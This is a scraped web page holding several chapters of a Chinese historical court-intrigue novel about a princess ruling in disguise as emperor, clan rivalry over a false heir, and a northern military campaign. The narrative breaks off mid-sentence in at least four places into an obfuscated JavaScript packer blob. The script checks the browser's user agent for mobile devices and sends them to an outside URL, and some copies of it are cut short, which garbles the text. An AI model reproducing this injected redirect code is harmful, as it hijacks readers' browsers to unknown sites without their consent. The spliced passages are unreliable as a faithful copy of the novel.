魏膺之抢先上前一步,拱手道:“陛下,北伐一事,关乎国运,非同小可。然臣以为,如今淮南大捷,北魏又折损大将,其军心必定不稳。若能趁此良机,一举收复中原,实乃千秋万代之功业。臣愿竭智尽忠,辅佐陛下成就此业。” 他稍作停顿,又接着道:“臣前些时日派人视察太仓,见谷粟满仓,足以供大战调度支用。会稽一地亦愿献出米粮十万担,以充前线之需。” 萧含光微微点头,嘉许道:“魏卿忠心为国,筹谋深远,朕心甚慰。” 魏膺之退回自己的位置,收敛住目中隐隐寒芒。 如今齐家势大,魏膺之能久居中书令之位,正因他最善体察君心。萧胥晚年时,已察觉到齐家势大,难以挟制,故而刻意扶持魏家,以制衡齐家。除魏膺之执掌中枢大权外,其兄长与从弟亦皆在地方担任刺史。 魏膺之在朝堂诸事上多与齐鸿针锋相对,但凡齐鸿支持之事,他大多予以反对,反之亦然。如今先帝驾崩,太皇太后又是齐氏之人,魏膺之深知,若要保住手中权位,便需与新帝保持一致步调。而且他隐隐觉得,虽说齐韶乃齐家之人,但司徒公本人未必赞成北伐之事,便率先表达支持之意。 他看向站在自己身旁的齐鸿,只见对方双目微阖,面露疲态,仿若仍在打瞌睡,对朝堂上的争议充耳不闻,就连皇帝投来的目光也毫无所觉。 萧含光提高音量道:“司徒公,魏卿所言,卿意下如何?” 齐鸿身躯一动,如梦初醒。他缓缓睁开双眼,瞧了瞧御座之上的皇帝,低头道:“陛下,臣年事已高,近来精力不济,方才竟睡着了,还请陛下恕罪。”又转头望向魏膺之,问道:“魏中书,方才朝堂所议何事?” 魏膺之道:“陛下欲北伐,向司徒公请教意见。” 齐鸿环顾四周,一脸茫然道:“被罚?何人被罚了?” 萧含光亦觉疑惑,齐鸿向来精神矍铄,怎的今日突然变得糊涂起来? 见齐韶对自己使了个眼色,那意思是先让朝会结束,回头再行商议。 于是她说道:“司徒公既然劳累了,便先回去安歇吧。今日暂且议到此处,诸卿回去好好斟酌斟酌,北伐之事,明日再议。” *** 东宫别殿之内,周群悠悠转醒。他抬目打量周遭,心中大惊,自己昨夜怎会在此处酣睡? 他起身,见矮塌之上,宋海晏仍在安睡,鼾声如雷。周群上前,轻推他两下,唤道:“小宋将军!小宋将军!” 宋海晏眼睫微微颤动,缓缓睁开双眼。他环顾四周,猛地坐起,又看向周群,目光满是茫然,惊愕道:“敢问内官是何人?此处是何地?我缘何会在此处?” 周群记得自己昨夜将宋海晏送到这里,之后便吃了鹿脯,便离开了,今早起来竟仍在这里。本欲询问昨夜之事,不想宋海晏竟全然不记得自己。 周群回道:“小宋将军,我是周群。昨夜小宋将军饮酒至醉,欲寻溷轩,是我引领前往。后来小宋将军沉睡不醒,我便将您安置在此处,之后您还赠予我一盒鹿脯作为谢礼,小宋将军当真全不记得了?” “鹿脯?不是在我身上吗?”宋海晏抬手在胸口摸索几番,摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325173|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一个漆盒,打开一瞧,盒中空空如也。 宋海晏扶着额头,似在竭力回想昨夜之事,末了,他轻捶脑袋,歉然道:“实在对不住,我这人一旦醉酒,便什么事都记不得了。昨夜确实是劳你送我来此,多谢内官……” 他站起身来,身形踉跄了几步,才勉强站稳,说道:“天色已亮,我该出宫了。”说罢看向周群,“对了,不知出宫该如何走?” 周群满心疑惑,然见宋海晏比自己还迷糊,也不便多问。念及他昨日醉态,心想他当真什么都想不起来也有可能,昨晚大概是自己一时困倦,在这里睡着。他给宋海晏指明道路,关上殿门,转身离去。 宋海晏回自己在城中的宅子时,见老仆宋吉正站在门口左右张望。见他回来,连忙迎了上来,焦急道:“公子,您怎么一夜未归,老奴可急死了。您要是再不回来,老奴便只能去宫中找人了……” 宋海晏道:“我没事,只是昨夜吃醉了酒,在宫中睡了一宿,早上才醒。” 他推门而入,宋吉跟在后面絮絮叨叨道:“公子,昨夜使君来信,说献俘之事已了,公子也不必在金陵继续逗留。若无他事,还是早点回庐江去,免得夫人担心。” 宋海晏脚步一顿。他沉吟片刻,点头道:“也好,朝廷不久之后将要北伐,庐江宋氏也该为这件大事作准备。你稍做准备,我们下午便启程回庐江。” 宋吉一愣。 他作为宋家在金陵的管事,天天随侍宋海晏左右,又如何不知自家公子这些天为献俘之事忙前忙后,不过为了亲至御前,一觐天颜,求证长乐公主之事。 宋海晏又一夜未归,他原本以为宋海晏必不肯轻易回庐江去,准备好了一箩筐的说辞,没想到宋海晏如此干脆,下午便要启程。 难不成,公子想求证之事,已有了结果? 宋海晏微微挑眉,瞥向他道:“宋吉,你先去集市上买一块墓碑来。” 宋吉愕然:“墓碑?” 宋海晏不耐烦道:“你想早点回庐江,就别问那么多。” 待宋吉买回墓碑,在前院却寻不见宋海晏,只见后院之门虚掩着。宋吉推开门,瞧见宋海晏已然换了昨日朝服,着一身白色衣袍,正靠坐在那棵老梨树的树底。 宋海晏买下这座住宅时,梨花一朵未开。如今一个月过去,那树梨花正开到极盛之时,恰似冰绡笼着雾縠,又如白雪披着玉霞,层层叠叠,堆满枝头。 风袭花落,摇曳下一地的晴雪。 少年坐在花树下,他轻闭着眼,眉目舒展而温柔,似乎追念着这世间最美好的物事。 那或许是不可说的过去,又或许是不可及的未来。 宋吉停下脚步,不忍惊动眼前这一幕。 宋海晏抬眼向他看来,问道:“东西可买回来了?” 宋吉走上前去,将那块石碑放置在地。 宋海晏不知从何处摸出一柄凿刀,在石碑上刻下一行字:“爱妻长乐公主之墓。” 宋吉终是忍不住,问道:“公子,长乐公主,她……当真薨逝了吗?” 宋海晏瞥了他一眼道:“你以为呢?” 言罢,他从怀中掏出一个香囊,又从树上摘下一朵梨花,放入香囊之中。接着寻来一个陶罐,把香囊置于罐内,封口封得严严实实。随后,他找来铁锹,在梨花树下挖了一个浅坑,将陶罐埋入坑中,垒起一个小小的土堆,又把那块墓碑立在土堆之前。 宋吉犹豫半晌,又道:“公子,即便公主当真薨逝,你们毕竟并未成婚,况且她葬于皇陵,咱们实在没必要在此立个空冢,这看着有些不吉利……” “自公主去世,我心中气不顺,做了不少胡闹的事。我昨日御前觐见,方知公主确实已经病逝了。但从前的事,难免叫人疑心。”宋海晏捧起一把落花,放在墓碑前,道:“如今陛下当国,我也该回庐江了。立个衣冠冢在这里,好叫阿父阿母不再担心,也好消了那些人的疑心……” 宋吉有些迷糊,公子说的“那些人”是哪些人?陛下当国和公子回庐江又有什么关系? 但公子能放下公主的事,回庐江去,总归是一件好事。他回到屋内,替公子打点好行装。 薄暮时分,载着宋海宴的马车离开金陵城。 32. 第十四章 度量权衡 早朝既罢,萧含光乘御辇径往椒房殿西书房而去。未久,齐韶怀抱奏章,亦至西书房。这几日,萧含光已着手自行批阅奏折,再呈于太皇太后处,加盖国玺,方送回中书处。若遇疑难之事,便向太皇太后请教,再做决断。 萧含光放下奏折,目光转向齐韶,问道:“齐韶,今日朝堂之上,司徒公佯装瞌睡,莫非他对北伐之事心存异议?”朝堂之上,她见齐鸿这般模样,心中疑惑。齐鸿与太皇太后齐明霜同出齐家,太皇太后极力推动北伐,而身为其亲弟的司徒公,却似有反对之意,着实令她费解。 齐韶行至窗边,轻轻推开一扇槛窗,让煦风拂入,方回头道:“司徒公身为一族之主,行事自有其考量。陛下无需为此事烦忧,太皇太后必有良策能说服司徒公,使其支持北伐之举。” 萧含光抬眸望向窗外,恰见齐鸿跟随在夏从德身后,正缓缓走近。 *** 椒房殿中。 太皇太后齐明霜着玄色礼服,头戴凤冠,高坐于凤座之上,眉宇间透着一股不怒自威的气势。 齐鸿行至凤座之前,跪下行礼:“臣齐鸿,参见太皇太后。” 齐明霜脸上的皱纹微微散开,那常年冷峻的面庞此刻浮现出些许慈和之色,笑着说道:“阿鸿,你我姐弟之间,何必行此大礼。来人,赐座,奉茶。” 旋即有宫人在殿下设好坐席。齐鸿起身,正襟坐下,宫人又奉上茶水。 齐明霜望着自己弟弟斑白的两鬓,轻轻叹了口气:“阿鸿啊,一晃四十余载,咱们都已老去。阿姐还记得,当年阿姐出嫁之时,你才八岁,只到阿姐腰身这般高,还非要跟着阿姐的嫁辇呢。那时,你事事都要问阿姐拿主意,可如今,咱们的想法却常常相左。阿鸿,你说,究竟是你变了,还是阿姐变了?” 齐鸿端起茶盏,目光沉静,道:“您永远是我的阿姐。只是如今我身为齐家之主,手中握着齐家数千人的身家与前程,凡事不得不多想一想。” 齐明霜眉头微蹙,眼中闪过一丝不悦,但很快又恢复了平静。她缓缓道:“司徒公有什么想法?” 齐鸿抬起头,看向凤座:“太皇太后似乎忘了一事,宝珠还在白鹭洲呢。如今,皇帝继位已经快三个月,中宫却一直无人,太皇太后打算什么时候接她回宫?” 齐明霜眼眸微闭,复又睁开,她轻叹一声,道:“哀家又何尝不想接她回来。哀家原本打算等她诞下太孙的遗腹子,再将她接回。可那孩子生下来便是个死胎,宝珠也因此变得疯疯癫癫。一国之母,举止癫狂,有辱国体。宫中人多嘴杂,若传扬出去,成何体统。只能先让她在白鹭洲养病,待身体大好之后再接回宫来。” 齐鸿拿起茶盖,撇去茶中的浮沫,以商量的口吻道:“太皇太后,臣的儿媳上月刚诞下一个男婴。臣以为,不妨先让宝珠带着这孩子回宫。她有了自己的孩儿,疯病自然会慢慢痊愈。当今天子不会有子嗣,国家有了储君,朝政方能安定。太皇太后,您觉得臣这个主意如何?” 太皇太后虚放在扶手上的五指骤然收紧,目光中隐现几分恼怒,齐鸿竟想将自己的孙子假作太孙的孩子送入宫中,立为储君,这分明就是窃国之事。 然而眼下并非和司徒翻脸的时候,她轻阖双目,掩去怒色,轻声道:“阿鸿,此事让我想想。” 齐鸿见状,语气中带着几分不满:“太皇太后,当初先帝驾崩之时,您同我说,要将长乐公主假扮成太孙继位。您说这不过是权宜之计,等宝珠生下麟儿,再作打算。可如今,您当真让她执掌国政。可她不过是个女子,有何资格坐在御座之上发号施令?臣以为——” 他话音未落,齐明霜猛地抬头,目光如刀,冷冷道:“齐鸿,你莫忘了,哀家也是一个女人——” 齐鸿冷哂一声:“阿姐是阿姐,那个乳臭未干的黄毛丫头又怎么能和您相提并论?” 他顿了顿,又道:“我知晓阿姐此时提出北伐,是想成就一番大业,好让后世之人都铭记您齐明霜的名字。但如今齐家的境况,阿姐也看在眼里。您的侄子侄孙们大多不成器。只怕你我百年之后,这偌大的齐家门庭,便会树倒猢狲散。魏膺之一直处心积虑,妄图取代齐阀成为南朝第一门阀。我听闻他有意将自己的侄女许配给宋家那个小子,若宋魏两家联手,朝堂之上,我齐家还有立足之地吗?北伐对他们而言,亦是个大好时机。阿姐让我支持北伐,也并非不可,只是需拿出些诚意来。” 齐明霜只觉心头一阵倦意袭来。她很清楚若是人心不齐,北伐必将难为,却未曾想,最大的阻碍竟来自于一向对自己言听计从的齐鸿。她用手指轻轻揉着太阳穴,声音疲惫地说道:“你意欲何为?” 齐鸿目光锐利,遥望凤座:“第一,北伐需得以齐家为主。齐栋除扬州都督之外,加五兵尚书之职,统领北伐战事。太皇太后前日大手一挥,封宋寒章为县侯。臣的三个儿子,齐梁、齐椽、齐栋都要封县侯。” 齐明霜眉头紧锁,眼中闪过一丝怒意,很快又压了下去。她深吸一口气,缓缓道:“由齐栋统领北伐战事,哀家可以应允。但如今齐家寸功未立,若要封侯,朝野必然反对。待北伐结束,还都洛阳之时,再行册封之礼。”” 齐鸿对此未置可否,接着道:“第二,将宝珠接回来。将她带回的那个孩子立为太子——” 齐明霜猛地站起身,眼中怒火燃烧,声音带着几分颤抖:“那个孩子姓齐,怎配为太子——” 齐鸿毫不退让,目光直视齐明霜,冷声道:“阿姐,你也姓齐。” 然,在太皇太后凌厉威严的目光下,齐鸿终究是退下阵来。他垂下双目,语气也软了几分,道:“阿姐,您如今居于深宫,指掌天下事。可这宫外的事,哪一件不是臣费心为您打点。再说了,除了那个黄毛丫头,他们萧家已经无人了。这万里江山,阿姐不留给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“上下一心,何其难也。于今之际,只要朝中各方一致同意北伐便已是莫大成效。”太皇太后轻轻叹了口气,掩去眉间忧色,道:“哀家想过了,先将宝珠和那个孩子接回来,养在宫中。太子一事,干系国本,不可轻立,可以先缓上一缓。至于统领之权,齐栋都扬州军事,就算有五兵尚书的职司,也管不到庐江和江陵方向,有哀家压着,这朝中也搅不起多大的风浪来。于今首要之事,还是聚集人心,先将北伐之大策订下来,其他的事可以慢慢再权衡——” 她放下茶盏,当她的目光转向齐韶时,已多了几分坚定:“你先草拟行文,分别送往荆州和庐江,看何长龄和宋寒章两人是何意见。” 齐韶微微点头,神色恭敬:“是。” 太皇太后又沉吟片刻,缓声道:“还有,你再去一趟正光殿。让皇帝三日后到白鹭洲去接人。” 齐韶低声应道:“是。” 他将目光投向湖水,春日之湖水,水静波平,只有微风拂过时,才泛起点点涟漪。 他想起早朝之时,朝堂上一派兴平气象。谁能料想,这平静湖面之下暗藏的波涛呢? 北伐大事,真能如预想一般顺利推进吗? 33. 第十五章 大盗窃国 白鹭洲位于金陵城西,是秦淮河入江口泥沙聚集而成的一座沙洲。每至春日,洲畔便有众多白鹭翩然而至,故而得名。 如今,这座沙洲是萧氏皇族的私产,其上筑起恢宏壮丽的华美宫阙,以白鹭台命名。 仲春时节,惠风和畅。天子车驾自宣阳门驶出皇城,浩浩荡荡。十二重骑兵列于最前,其后是手持五色旌旗、伞盖、华盖的仪仗队。皇帝高坐于巨大的玉辂车中,内官与宫女们手捧拂尘、金炉、香盒等物,侍立一旁。齐韶骑马护卫在舆车之侧。 待皇帝车驾停于白鹭台时,女侍史澹台夫人怀抱一个刚满月的婴儿,率领宫人跪在丹墀之下迎驾。 澹台夫人本姓范,出身越州范氏,与齐宝珠的母亲同族。她嫁入宣城澹台家没几年,就不幸守寡。因她知书达礼,略通医术,自齐宝珠成为太子妃起,便一直随侍左右。萧含光此前在药师庵与齐宝珠见面时,也曾见过这位女官。 萧含光命众人平身,而后问道:“皇后何在?”“萧樗”登基后,虽未举行册封皇后之礼,但齐家权势颇大,齐宝珠又是皇太孙的嫡妻,进位为皇后本是十拿九稳之事,不过是差一道程序罢了。 澹台夫人恭敬回道:“陛下,请随我来。” 言罢,她引领着皇帝走过玉阶雕栏,停在了凤藻宫前。 齐宝珠站在丹墀之上,远远望见皇帝走近,便快步奔来。此时正值二月乍暖还寒之时,她仅着单衣,赤着双脚走在玉阶之上,向着皇帝痴痴笑道:“阿樗,你来了……” 澹台夫人见状,神色大变,急忙提醒道:“殿下,陛下如今已登基为帝,殿下当行大礼……”说着,便欲拉着齐宝珠跪下。 齐宝珠却一把将澹台夫人推开,径直走到萧含光身前,拉住她的手,笑道:“阿樗,我为你生了一个皇儿……”她忽然环顾四周,神情空洞,问道:“对了……我生了皇儿,我的皇儿呢?我的皇儿在哪儿?” “我的皇儿……”她手抚额头,面露痛苦之色,喃喃道:“我的皇儿……他们把我的皇儿抢走了……” 这时,伺候齐宝珠的宫女匆忙赶来,脸色苍白,一同跪地,战战兢兢道:“夫人,殿下今早不肯服药,将夫人熬好的汤药全都泼洒了,奴婢罪该万死——” 澹台夫人听到这一句,面色微变,心中惊惧。 自这个孩子被送至白鹭洲后,齐宝珠的疯病已好了许多。按司徒公的意思,今日皇帝会亲自前来接齐宝珠回宫,随后册封皇后、太子,一切顺理成章。 不料,齐宝珠今日清晨突然发病,看来这出戏是演砸了。 她不敢去看皇帝脸色,将手中的婴孩放入齐宝珠怀中,柔声道:“殿下,您的孩子在这里呢。” 齐宝珠看了孩子一眼,突然手一松,摇头道:“不,这不是我的皇儿……” 澹台夫人眼疾手快,赶忙将婴儿接住,焦急地说道:“这就是殿下所生的孩子啊,他出生在腊月十二,殿下难道忘了吗?”那婴儿受了惊吓,哇哇大哭起来。澹台夫人此时已冷汗淋漓,也顾不得许多,再次将孩子塞到齐宝珠怀中,说道:“殿下,小殿下哭了,您抱抱他,哄哄他……” 听到婴儿的哭声,齐宝珠忽又平静了下来。她的眼神逐渐变得柔和慈爱。她抱着婴儿,轻轻摇晃着,走到萧含光面前,轻声说道:“阿樗,你看我们的皇儿,长得多好看,身体多康健啊。你喜欢吗?” 萧含光无言以对。 今日出发前,齐韶曾暗示齐宝珠的精神状态或许不佳。如今亲眼所见,齐宝珠分明已是疯癫之态。 去年春末,她在药师庵第一次见到齐宝珠。 彼时齐宝珠还是美丽尊贵的太子妃,她刚怀有身孕不久,只是那一胎脉象不佳。她前往药师庵,找在庵中修行的阿苦,为腹中孩儿抄经祈福,寻求一丝渺茫的希望。 萧含光低头,看向齐宝珠怀中的婴儿。澹台夫人说这孩子是去年腊月十二出生的,如今应已有两个月了。可这孩子的模样,看上去刚刚足月。 齐宝珠疯疯癫癫,言语混乱,显然这个孩子并非她所生,自然也不是她哥哥萧樗的遗腹子。 这倒也正常,萧含光在药师庵时,曾为齐宝珠诊脉,从脉象来看,即便全力保胎,齐宝珠也很难生下健康的孩儿。 齐宝珠贵为皇后,又住在皇家行宫,能让齐宝珠凭空抱一个孩子回宫的,只有太皇太后和齐家。 这无疑是窃国的行径。 然而,萧氏皇族已然式微。她自己都在他人掌控之中,又能如何呢?她只能依照太皇太后的吩咐,将疯癫的皇后和这个来历不明的孩子接回宫去。 齐宝珠并未留意到皇帝神色异样,她抱着孩子,脸上绽放出灿烂的笑容,说道:“阿樗,你给咱们的孩儿取个名吧……” 萧含光转头看向跪伏在地的澹台夫人,迟疑道:“夫人,这孩子可有名字?” 澹台夫人几乎将头埋到地下,颤抖着声音说道:“正等候陛下赐名。” 萧含光强压下五味杂陈的思绪,尽可能平静道:“既如此,便叫萧过吧。” 不管怎样,皇帝并未因见到疯癫的皇后而发怒,澹台夫人暗自松了一口气。她迅速打点好皇后的行装,将皇后和皇子一同送上皇帝的舆车。在浩浩荡荡的仪仗簇拥之下,众人启程回宫。 金陵城的官员和百姓们看到舆车上看似和乐美满的帝后以及哭声嘹亮的小皇子,无不欢呼雀跃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338766|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为这是国家安定之兆。至于舆车上的几人究竟作何感想,又有谁真正在意呢。 齐宝珠被安置在玉烛殿。皇太孙病亡后,他后宫的姬妾都被太皇太后打发出去。这两个月,有不少官员上折要为皇帝选秀,充实后宫,以便早日诞下皇子,延续国祚。 如今齐宝珠带着甫生下的皇子回到宫中,且不提背后有无阴谋,至少堵住了前朝悠悠众口,倒也并非全是坏事。 萧含光离开玉烛殿时,见齐韶正在殿外等候。她不再乘坐御辇,与他并肩沿着御道往正光殿行去。 她走出数步,终于忍不住停下脚步,问道:“齐韶,那个孩子并非太孙的遗腹子,对吗?” 齐韶看着天子凝重的神色,叹息一声,道:“陛下不必过虑。司徒公以此为条件,支持朝廷北伐的大计,太皇太后不得不做出妥协。陛下放心,太皇太后并未同意立太子之事。等陛下将来真正掌握权力,这些事情还有转圜的余地。” “掌握权力……”萧含光喃喃道。 正是黄昏之时,紫红色的霞光自天际倾泻而下,落在宫殿螭吻处。萧含光静静地站着,看着眼前这座巍峨、壮丽、华美的宫城逐渐融入暮色的阴影之中。 这里是金陵的皇宫,是南楚朝廷权力的中枢所在。 即便如此,这座宫阙现在的主人——掌握玉玺的太皇太后,也不能决定所有的事情。 太皇太后只是一个尊位,后宫并不能直接干政。她享有这么大的权力,因她是先帝的妻子,也因她来自齐阀。当齐阀愿意听从太皇太后的号令时,她才拥有这部分权力。一旦司徒公的意愿与太皇太后相左,太皇太后就必须在其他的地方让步。 她自己呢? 她当上皇帝,缘于她被认为是开国皇帝萧胥的孙子萧樗。皇帝的尊位,是南朝诸多世家共同信奉和扶持的一个象征,这个象征可以让门阀世家们停止争斗,在帝国的框架内维持各自的权益。 权力的来源并非尊位本身,而是一种认同。只有下位者愿意听从指令,上位者才拥有权力。 她要真正掌握权力,就不能只是听从太皇太后的安排,坐在御座之上接受参拜。而是要让朝堂上的文武百官愿意听从她的号令。 她不想做萧樗的影子,而要做一个真正的皇帝。 她该怎么做,才能摆脱这任人摆布的命运? 北伐,无疑是一个绝佳的契机。 世间没有什么比收复中原的赫赫武功,更能昭显君王承天授命的法统。 北伐。 她在心底念着这个词,便想到了宋海晏。 他现在在何处? 他是不是已经离开金陵,准备奔赴远方的战场? 34. 第十六章 风雨如晦 齐宝珠回到皇宫不久,宫中便下了册封皇后的旨意。 太皇太后和皇后都出于齐氏一门,江左齐氏在朝中的声势恰似水涨船高,愈发煊赫。 与此同时,朝廷的北伐大计也有条不紊地向前推进。 春耕礼之后,荆州何长龄和庐江宋寒章一起向朝廷上表,表示愿殚精竭虑,全力襄助北伐大业。不久之后,齐阀同样表达了对北伐的支持。朝廷下旨,齐栋加封为五兵尚书,统领北伐战事。自此,朝廷广募将领、勤训士卒、筹措粮草,将举国之力投入到这场即将来临的大战之中。 四月。大楚从东中西三个方向同时兴兵北上。 西路军由荆州都督何长龄统领,从襄阳北上,破南阳、袭武关,兵锋直指洛阳。中路军由右将军宋寒章统领,以凤台、怀远两城为基点,一路向西,进军许昌,东路军由齐栋亲自统领,从扬州北上,向西北方向推进。 楚军初战告捷,连番取胜,收复淮水以北部分失地。战争伊始,北魏猝不及防,很快便组织起防御力量,修筑要塞,坚壁清野,凭坚城固守,战事渐入相持阶段。 五月,江南的天气潮湿又闷热。 这天下午,女官楚秋筠进入正光殿的御书房时,见萧含光伏于案几上,批阅过的奏折整齐码放在案前。因为暑热,大楚国君的额头渗出细密的汗珠,她双目微阖,竟已睡去。 楚秋筠寻了一把孔雀翎扇,轻轻为她扇风。 自从北伐战事开启以来,皇帝便甚少睡过整觉。 大战一起,人要吃粮,马要吃草。 战事虽在北方,统筹粮草和军饷却都在金陵。皇帝每日上朝的时间的越来越长。为了让江南的这些世家们心甘情愿地掏出自己的家底支援前线,每天朝堂上都是战火不休,往往到午时也未必能掰扯出一个令各方满意的结果。 皇帝的职责不止上朝。下朝之后,萧含光还需批阅奏折,处理庶务,发布政令。 她还要单独召见大臣,对各方的意见熟稔于心后,将一些悬而难决的大事呈于太皇太后之前,询问她的意见。 太皇太后体恤皇帝辛苦,将正光殿的东殿改为御书房,让皇帝可以在正光殿处理国事,就近休息,每日奏折由掌事太监送至椒房殿加盖国玺。 萧含光还命人在御书房的南墙绘制了一张巨大的舆图,根据前方收到的战报推演敌我双方的接下来可能的动向。 几个月的时间过去,楚秋筠在大楚国君的身上再也看不到当初入宫时那道青涩怯弱的少女影子,她越发沉稳、进退有度、举重若轻,连原本柔和的面部线条也变得流畅分明。 楚秋筠曾经服侍皇太孙多年,她觉得国君只是面容肖似萧樗,性情并不相似。 萧含光比真正的萧樗更像一个帝国的继承者,一位真正的皇帝。 窗外淅淅沥沥下起雨来,楚秋筠起身来看时,齐韶抱着一卷文书进来。 如今朝廷政令都出中书省。他这会过来,必是要事。 楚秋筠瞥了正在熟睡的萧含光一眼,低声问道:“齐大人,是否要唤陛下起身?” 齐韶看了一眼那掩于堆叠如山的奏章中的身影,轻声道:“不用了,并不是什么要紧的事,我在这里等陛下醒转就好。” “是,奴婢去给齐大人沏茶。”楚秋筠退了出去。 齐韶将槛窗打开些,放水汽进来,略微驱散暑热。又将方空縠织成的藕色窗纱拉上,御书房的光便暗了下来。 他走到紫金错博山炉前,见一旁冰纹色的香合半掩着,便取了香篆添香。不久,御书房中轻烟袅袅,和着雨声,在屋中弥漫。 他燃的是一种名叫松风鹤梦的香膏,可以安神助眠,使人忘忧。 听到萧含光的呼吸声越发沉缓,他走到案几对面坐下,小心翼翼抽出被大楚国君压在袖子下面的文书。 那是两天前来自庐江刺史宋寒章的战报。 中路大军前锋已经攻克项城,但军中粮草不足,无法继续行军,将暂时就地驻扎,等待朝廷的支援。如果五月下旬粮草仍然不继,将不得不暂时退军。 齐韶面露忧虑之色。 为了这次大战,皇帝整日在朝堂上和诸世家软磨硬泡,粮草筹措之事还算顺利。各路大军本不应缺粮。 但齐阀势大,齐栋又为五兵尚书,统领战事,朝廷下拨的粮草自然是以东路大军为优先。西路军那边靠近荆湘和巴蜀,粮草直接运往前线,并不需要从金陵转手。只有中路军,两头不靠,缺粮的问题格外严重。 他走向画于南壁上的舆图。舆图上,皇帝已经用三色的小旗标注了大军的位置。 西路军目前主力驻扎于南阳,另分一支兵马驻扎鲁阳,以准备接应西进的中路军。中路军因为缺粮,不得不驻守项城。而齐栋率领右路军,驻扎在淮北泗县就不走了,齐栋给出的理由是雨季道路泥泞难行,军队需要修整。 泗县这地方,离洛阳甚远。离宋家的此前在淮北占领的军事要塞凤台倒是很近。 从凤台再往南,便是宋家经营二百余年的大本营庐江郡。 …… 一道闷雷炸响,天光骤然晦暗。 狂风裹挟着雨腥气破窗而入,藕色縠纱剧烈翻飞,案头奏折"哗啦"一声被掀得四散,雪片般飘落满地。 萧含光惊醒,她眨了眨酸涩的双眼,只见窗外雨幕如瀑,黑云压着鸱吻兽脊翻滚而下,将御书房吞没在昏暗中。 “陛下醒了?”齐韶温润的声音响起。 萧含光循着声音的来处望去,只见齐韶立在舆图之前,她下意识问道:“北方有新的消息了?” “是。”齐韶走到案几之前,在皇帝面前跽坐,将一份文书呈上,道:“北魏反攻项城,宋寒章军粮不足,不得不退出项城,驻守沈丘。宋将军派了自己的儿子宋海晏回金陵,协调军粮之事。如果六月底朝廷仍无法解决粮草的问题,宋将军将率军退回庐江。” 萧含光接过文书打开。 齐韶在皇帝的脸上看到了阴霾,那是比窗外更深的郁色。 他劝慰道:“陛下不用担心,太皇太后已经召司徒公入宫,商讨粮草之事。” 萧含光喃喃道:“会有结果吗?” 齐韶没有看皇帝的表情,转头看向窗外沉闷的雨,低声道:“会有结果的。朝堂的事无非是权衡与交易,太皇太后会有办法让司徒公不得不接受她提出的筹码。” *** 一道紫色的闪电劈下,司徒公撑着伞步入椒房殿。 殿外狂风呼啸、惊雷滚滚,然而当那扇厚重的红漆大门在身后缓缓阖上,殿内几近不闻丝毫声响。 沉水香幽幽散发着冷冽之气,四壁的青铜宫灯上燃着白烛,将幽暗的宫室点亮。脚下是绵软厚重的织锦地毯,就像踏在棉花上,一点声音也没有。 在这静谧之中,齐鸿听到了婴儿的哭声。他抬首望去,只见太皇太后齐明霜怀抱婴孩,端坐于凤座之上,澹台夫人于一旁恭立侍奉。 齐鸿正欲上前行礼,齐明霜已然抱着婴儿步下凤座,她面上挂着慈祥的笑意,言道:“阿鸿,来,你瞧瞧,这是宝珠的孩儿,也是咱们齐家的孙儿。” 齐鸿上前,小婴儿看到他,绽放笑颜,发出吟哦之声。 齐明霜偏头看澹台夫人,道:“过儿满半岁了吗?” 这个孩子出生日期比齐宝珠的产期晚一个月,实则不到五个月。澹台夫人跪伏在地,战战兢兢道:“回太皇太后的话,小殿下到今日是五个月又二十三天。” “那就是差七天就半岁了。”齐明霜笑道:“阿鸿啊,哀家已然思量过,待这孩子满半岁,便先封他为郡王。封地之事,哀家亦已想好,颍川之地钟灵毓秀,人杰地灵,自古便是出贤才的宝地,哀家便封他为颍川郡王。阿鸿,你意下如何?” 齐鸿心中暗自思忖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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齐鸿道:“回禀太皇太后,这些日子有些刁民率众闹事,不肯交粮。臣已经命人弹压了下去,到本月下旬,应该可以凑齐中路大军所需的粮草。” 齐明霜满意地点点头:“如此甚好。对了,你给齐栋那边递个信。大军是需要休整,但也别趴着一动不动的。不能只有他们宋家、何家在前方杀敌,我们齐家就光在后面看着,也得争一争功,不然,等他们先进了洛阳,这天大的功劳不就都归外人了吗?” 齐鸿应声道:“是。” 齐鸿离开椒房殿之后,那扇朱漆大门重新关上。 齐明霜靠在凤座之上,面露倦态。 她所拥有的权力,不仅仅因她是皇后或者太皇太后,她身后有着整个齐家,她与齐家休戚与共。 现在,她平生第一次感到,齐家的势力太大了。就连北伐这样的大事,也处处受到掣肘。 她已经渐渐感到吃力了,甚至不得不将那个不到半岁的孩子带到台前来,演这么一出大戏。 如今,她还活着,暂时可以压制住自己那个野心勃勃的弟弟,可是等她百年之后呢,皇帝还能顺利将北伐大业推进下去吗? 齐明霜想到了自己的儿子,那个唯一长大成人的儿子萧灵玉。如果,她的儿子现在还活着该有多好啊。 